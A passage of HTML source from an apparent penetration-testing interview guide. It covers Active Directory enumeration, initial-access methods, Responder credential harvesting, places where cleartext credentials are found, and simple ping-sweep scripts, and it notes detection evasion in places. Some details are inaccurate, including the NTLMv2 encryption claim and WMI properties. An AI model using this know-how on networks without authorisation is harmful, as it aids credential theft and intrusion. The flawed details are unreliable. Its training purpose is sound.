  &lt;li&gt;
    &lt;p&gt;Command and Control: The attacker establishes communication with the compromised system to issue commands and exfiltrate data.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Actions on Objectives: The attacker achieves their objectives, which may include stealing data, damaging systems, or disrupting operations.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By understanding the stages of the Cyber Kill Chain, organizations can develop strategies to detect and prevent cyberattacks at each stage. For example, organizations may use security controls such as firewalls, intrusion detection systems, and endpoint protection to prevent attacks at the delivery and exploitation stages. Additionally, organizations may conduct regular security awareness training for employees to help prevent successful attacks at the reconnaissance and delivery stages. Overall, the Cyber Kill Chain is a useful framework for understanding the stages of a typical cyberattack and developing strategies to defend against them.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;-you-perform-a-penetration-test-for-a-client-a-week-later-they-call-you-a-vulnerability-was-found-and-missed-during-your-testing-what-do-you-do-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; You perform a penetration test for a client, a week later they call you, a vulnerability was found and missed during your testing, what do you do? &lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;If a client contacts me after a penetration test and reports that a vulnerability was found and missed during the testing, I would take the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Acknowledge the report: First, I would acknowledge the report and thank the client for bringing the issue to my attention. I would take the issue seriously and assure the client that I will investigate the matter thoroughly.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Conduct an investigation: I would investigate the issue to determine the root cause and the scope of the vulnerability. This may involve reviewing the testing methodology and results, examining the affected systems or applications, and identifying any gaps in the testing process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Provide a remediation plan: Once I have identified the cause and scope of the vulnerability, I would provide the client with a remediation plan. The plan may involve recommending patches or updates, implementing new security controls or processes, or conducting additional testing to ensure the vulnerability has been properly addressed.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Take steps to prevent future issues: Finally, I would take steps to prevent similar issues from occurring in the future. This may involve reviewing and improving the testing methodology, conducting additional training for the testing team, or implementing new processes for detecting and reporting vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, it is important to be transparent and responsive when a client reports a missed vulnerability. By acknowledging the issue, investigating the root cause, providing a remediation plan, and taking steps to prevent future issues, I can help to build trust with the client and ensure that their systems are secure.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;-you-are-on-an-engagement-and-are-unable-to-utilize-commodity-network-scanning-tools-ex-nmap-explain-how-you-would-create-your-own-scripting-question-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; You are on an engagement and are unable to utilize commodity network scanning tools (ex: NMAP), explain how you would create your own (scripting question) &lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;If I am unable to use commodity network scanning tools such as NMAP during an engagement, I would need to create my own scanning tool using various programming languages and libraries. Here are the steps I would follow:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Identify the scan requirements: Before creating a scanning tool, I would need to identify the specific requirements for the engagement. This may include identifying the scope of the scan, the types of systems or devices to be scanned, and the ports or services to be targeted.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Choose a programming language: Once I have identified the scan requirements, I would choose a programming language that is well-suited for the task. Some common programming languages used for network scanning include Python, Ruby, and Go.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Research relevant libraries: After choosing a programming language, I would research relevant libraries or modules that can be used to build the scanning tool. For example, the Scapy library in Python can be used to build custom packets for network scanning, while the GoPing library in Go can be used for ICMP ping sweeps.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Build the scanning tool: Using the chosen programming language and libraries, I would build the scanning tool to meet the specific requirements of the engagement. This may involve writing custom code to scan for open ports, identify vulnerable services, or perform other types of reconnaissance.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Test the scanning tool: Once the scanning tool has been built, I would test it to ensure that it is functioning correctly and that it is able to identify the desired targets and services. I would also test the tool against various types of defenses, such as firewalls and intrusion detection systems, to ensure that it is able to evade detection and provide accurate results.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, building a custom scanning tool requires a deep understanding of network protocols, programming languages, and relevant libraries. It is important to thoroughly test the tool and ensure that it is able to provide accurate and reliable results while evading detection.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-make-a-basic-network-scanner-in-bash-and-python--&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; Make a basic network scanner in bash and python  &lt;/span&gt;&lt;/h2&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;ip &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;1 254&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do
    &lt;/span&gt;ping &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 192.168.0.&lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$?&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-eq&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;192.168.0.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ip&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is up&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This Bash script will scan all IP addresses in the range of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.0.1&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.0.254&lt;/code&gt; and ping each one to check if it is up. If the ping is successful, it will print a message indicating that the IP address is up.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;subprocess&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;192.168.0.&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ping&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-W&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEVNULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DEVNULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot; is up&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This Python script will scan all IP addresses in the range of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.0.1&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;192.168.0.254&lt;/code&gt; and ping each one to check if it is up. If the ping is successful, it will print a message indicating that the IP address is up. The subprocess module is used to execute the ping command, and the stdout and stderr arguments are used to suppress the output of the ping command.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-would-you-enumerate-information-in-an-active-directory-domain-quietly-at-least-quieter-than-bloodhound-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How would you enumerate information in an Active Directory domain quietly? (at least quieter than bloodhound) &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;When enumerating information in an Active Directory domain, it is important to do so as quietly as possible to avoid alerting security controls and raising suspicion. Here are some techniques that can be used to enumerate information in an Active Directory domain quietly:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;LDAP queries: LDAP (Lightweight Directory Access Protocol) queries can be used to gather information about users, groups, and other objects in the Active Directory domain. These queries can be performed using tools such as LDAPSearch or PowerView in a quiet manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;NetBIOS queries: NetBIOS (Network Basic Input/Output System) queries can be used to gather information about domain controllers, servers, and workstations in the Active Directory domain. These queries can be performed using tools such as NBTScan or NetBIOS Enumerator in a quiet manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;DNS zone transfers: DNS (Domain Name System) zone transfers can be used to gather information about domain controllers, DNS servers, and other objects in the Active Directory domain. These transfers can be performed using tools such as NSLookup or DNSRecon in a quiet manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SMB queries: SMB (Server Message Block) queries can be used to gather information about shares, users, and other objects in the Active Directory domain. These queries can be performed using tools such as SMBMap or CrackMapExec in a quiet manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SNMP queries: SNMP (Simple Network Management Protocol) queries can be used to gather information about network devices and services in the Active Directory domain. These queries can be performed using tools such as SNMPWalk or SNMPCheck in a quiet manner.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is important to note that all of these techniques can potentially be detected by security controls, so use them carefully and with appropriate permissions. Additionally, obtain proper authorization before performing any type of reconnaissance on an Active Directory domain.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-differences-between-ntlm-and-ntlmv2-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What are some differences between NTLM and NTLMv2? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;NTLM (NT LAN Manager) and NTLMv2 (NT LAN Manager version 2) are authentication protocols used in Microsoft Windows environments. Here are some of the differences between the two:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Hashing algorithm&lt;/strong&gt;: NTLM uses the MD4 hashing algorithm to encrypt passwords, while NTLMv2 uses the more secure HMAC-MD5 algorithm. This makes NTLMv2 more resistant to brute-force attacks and other password cracking techniques.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Challenge/response process&lt;/strong&gt;: NTLM uses a simple challenge/response process where the server sends a challenge to the client, and the client responds with a hashed version of the user’s password. NTLMv2, on the other hand, uses a more complex challenge/response process that includes additional information such as a timestamp and a random value to prevent replay attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use of encryption&lt;/strong&gt;: NTLM does not provide encryption of authentication traffic by default, while NTLMv2 provides encryption by using a secure channel to protect authentication traffic.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Security features&lt;/strong&gt;: NTLMv2 includes additional security features such as message integrity checks and the ability to use smart card authentication, while NTLM does not.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, NTLMv2 is a more secure and robust authentication protocol than NTLM, as it uses a stronger hashing algorithm, a more complex challenge/response process, and provides encryption of authentication traffic by default. Organizations are recommended to use NTLMv2 or more modern authentication protocols such as Kerberos or NTLMv2 with Extended Session Security (ESS) for improved security in their Windows environments.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Advanced Windows / Active Directory Interview Questions &lt;/h1&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;-how-do-you-gain-initial-access-to-active-directory-from-a-non-domain-joined-machine-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; How do you gain initial access to Active Directory from a non-domain joined machine? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Gaining initial access to Active Directory from a non-domain joined machine can be challenging, but there are a few methods that can be used to achieve this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Phishing&lt;/strong&gt;: One common method to gain initial access is through phishing attacks. By sending targeted phishing emails to employees within the organization, attackers can trick them into clicking on a malicious link or opening a malicious attachment, which can then be used to gain access to the organization’s network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;VPN connections&lt;/strong&gt;: If the organization has a VPN in place, attackers can attempt to brute force credentials or use stolen credentials to gain access to the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exploiting vulnerabilities&lt;/strong&gt;: Attackers can also exploit vulnerabilities in applications or services running on the target machine to gain initial access. For example, if the target machine is running a vulnerable version of a web server or a database server, attackers can use exploits to gain access to the machine and then move laterally to other machines on the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Pass-the-hash attacks&lt;/strong&gt;: If an attacker has already gained access to a machine on the same network as the Active Directory domain, they can attempt to use pass-the-hash attacks to obtain valid credentials for domain user accounts. This can be achieved by dumping the credentials stored in memory on the compromised machine and then using them to authenticate to other machines on the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Remote Desktop Protocol (RDP) attacks&lt;/strong&gt;: If RDP is enabled on a machine in the target network, attackers can attempt to brute force RDP credentials or use stolen credentials to gain access to the machine and then move laterally to other machines on the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;DNS poisoning&lt;/strong&gt;: Attackers can use DNS poisoning to redirect network traffic to their own malicious server, where they can intercept authentication requests and steal credentials.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Social engineering&lt;/strong&gt;: Social engineering attacks, such as pretexting or baiting, can be used to trick employees into providing login credentials or other sensitive information. For example, attackers can pose as IT support personnel and request login credentials over the phone or via email.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Wi-Fi attacks&lt;/strong&gt;: If the target network has Wi-Fi access points, attackers can attempt to gain access by exploiting vulnerabilities in Wi-Fi protocols, such as WPA2, or by performing man-in-the-middle attacks to intercept network traffic.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Physical access&lt;/strong&gt;: If an attacker gains physical access to a machine on the target network, they can attempt to extract login credentials or other sensitive information from the machine, or use the machine to pivot to other machines on the network.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is important to note that all of these methods have varying degrees of complexity and effectiveness, and their success depends on a number of factors, including the target organization’s security posture and network architecture. Organizations should implement appropriate security controls, such as strong passwords, multi-factor authentication, and network segmentation, to prevent and detect these types of attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-responder-and-how-does-it-work-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What is Responder and how does it work? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Responder is an open-source tool that is used to perform various network attacks, including credential harvesting, man-in-the-middle (MITM) attacks, and NetBIOS name service (NBT-NS) poisoning. It works by intercepting network traffic and tricking devices into sending their authentication credentials to the attacker instead of the intended destination.&lt;/p&gt;

&lt;p&gt;Here’s how Responder works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Responder listens on the network for NetBIOS name service (NBT-NS) requests, which are used by devices to discover other devices on the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;When a device sends an NBT-NS request, Responder responds with a fake NetBIOS name resolution, pretending to be the device that was requested.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If the device that sent the NBT-NS request is configured to use NTLM authentication, it will automatically send its NTLMv1 or NTLMv2 authentication credentials to Responder as part of the authentication process.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Responder logs the authentication credentials and can use them to perform password cracking attacks, or it can use the credentials to perform MITM attacks on other devices on the network.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In addition to NBT-NS poisoning, Responder can also perform other types of attacks, such as LLMNR (Link-Local Multicast Name Resolution) poisoning, HTTP/HTTPS traffic capture, and SMB (Server Message Block) relay attacks. These attacks are often used by attackers to gain access to sensitive information or to perform lateral movement within a network.&lt;/p&gt;

&lt;p&gt;It is important to note that Responder can be a powerful tool for attackers, but it can also be used for defensive purposes, such as identifying weak authentication methods or misconfigured network settings. As with any tool, it should only be used for legitimate purposes and with appropriate permissions.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-where-can-you-find-cleartext-credentials-in-ad-and-what-are-some-places-to-look-for-them-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; Where can you find cleartext credentials in AD and what are some places to look for them? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;In Active Directory, clear-text credentials can be stored in a number of places. Here are some places to look for them:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Group Policy Preferences (GPP)&lt;/strong&gt;: GPP is a feature in Active Directory that allows administrators to set user and computer configuration settings. GPP can be used to store credentials in plain text format, which can be easily extracted using tools like Mimikatz or LaZagne.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;SYSVOL&lt;/strong&gt;: SYSVOL is a shared folder on domain controllers that contains Group Policy settings, scripts, and other information. SYSVOL can be used to store login scripts, batch files, or other files that contain plain-text credentials.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Local SAM database&lt;/strong&gt;: The local SAM (Security Accounts Manager) database on Windows machines can contain hashed passwords for local user accounts. If an attacker can obtain access to the SAM database, they can use tools like John the Ripper or Hashcat to crack the password hashes and obtain clear-text passwords.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Memory&lt;/strong&gt;: Clear-text credentials can be stored in memory on Windows machines. Tools like Mimikatz can be used to extract passwords from memory, including passwords for local user accounts and domain accounts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Configuration files&lt;/strong&gt;: Some applications store login credentials in configuration files, which can be stored in plain text format. These files can be found in various locations, such as in the application’s installation folder, in the user’s profile folder, or in a shared folder on the network.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is important to note that obtaining clear-text credentials in Active Directory can be a violation of security policies and can have serious legal and ethical implications. Only authorized personnel should be performing these types of activities for legitimate purposes, such as performing security assessments or forensic investigations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-the-difference-between-sam-database-and-ntdsdit-file--&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; what is the difference between SAM database and NTDS.dit file  &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The SAM (Security Accounts Manager) database and the NTDS.dit file are both important components of the Windows security architecture, but they serve different purposes:&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; SAM database &lt;/h3&gt;

&lt;p&gt;The SAM database is a file that contains user account and group information for the local Windows system. It is used to authenticate local user accounts and manage local security policies, such as password policies and account lockout policies. The SAM database is stored on the local system and is not used for domain authentication.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; NTDS.dit file &lt;/h3&gt;

&lt;p&gt;The NTDS.dit file is a database file that contains user account and group information for an Active Directory domain. It is used to authenticate domain user accounts and manage domain security policies, such as password policies and account lockout policies. The NTDS.dit file is stored on domain controllers and is replicated between domain controllers to ensure consistency.&lt;/p&gt;

&lt;p&gt;In summary, the SAM database is used for local authentication on a Windows system, while the NTDS.dit file is used for domain authentication in an Active Directory environment.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;-how-would-you-enumerate-privileges-on-windows-domain-and-windows-local-machine-itself-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; How would you enumerate privileges on windows domain and windows local machine itself &lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Enumerating privileges on a Windows domain or a Windows local machine can be an important step in assessing the security posture of the system. Here are some methods and tools that can be used to enumerate privileges on Windows:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows Management Instrumentation (WMI)&lt;/strong&gt;: WMI can be used to query information about user accounts and groups, including their privileges. For example, the following command can be used to retrieve a list of user accounts and their privileges on a local Windows machine:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WmiObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Win32_UserAccount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Filter&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;LocalAccount=&apos;True&apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Select&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Disabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PasswordExpires&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PasswordRequired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PasswordChangeable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PasswordNeverExpires&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PasswordAge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LastLogon&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PasswordLastSet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Privileges&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AutoSize&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;For example, the following WMI query can be used to retrieve a list of local groups on a Windows machine:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WmiObject&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Win32_Group&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Filter&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;LocalAccount=&apos;True&apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Select&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Status&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Format&lt;/span&gt;&lt;span 